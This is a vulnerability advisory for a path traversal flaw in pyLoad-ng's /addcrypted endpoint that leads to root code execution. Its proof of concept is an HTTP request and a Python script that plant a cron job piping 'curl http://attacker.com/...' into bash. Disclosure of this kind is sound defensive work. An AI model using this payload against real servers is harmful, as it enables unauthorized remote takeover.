CVE-2025-54802: pyLoad CNL Blueprint is vulnerable to Path Traversal through `dlc_path` leading to Remote Code Execution (RCE)

Summary Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.

Details Endpoint: POST /addcrypted Issue: src/pyload/webui/app/blueprints/cnlblueprint.py

Vulnerable Code python dlcpath = os.path.join( dlpath, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" ) dlc = flask.request.form["crypted"].replace(" ", "+") with open(dlcpath, mode="wb") as fp:

PoC http POST /addcrypted HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==

Decoded payload: bash root curl -s http://attacker.com/r.sh | bash

Send crafted POST python import requests, base64

payload = " root curl http://attacker.com/rev.sh | bash" b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={ "package": "../../../../etc/cron.d/exploit", "crypted": b64 })

Impact The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.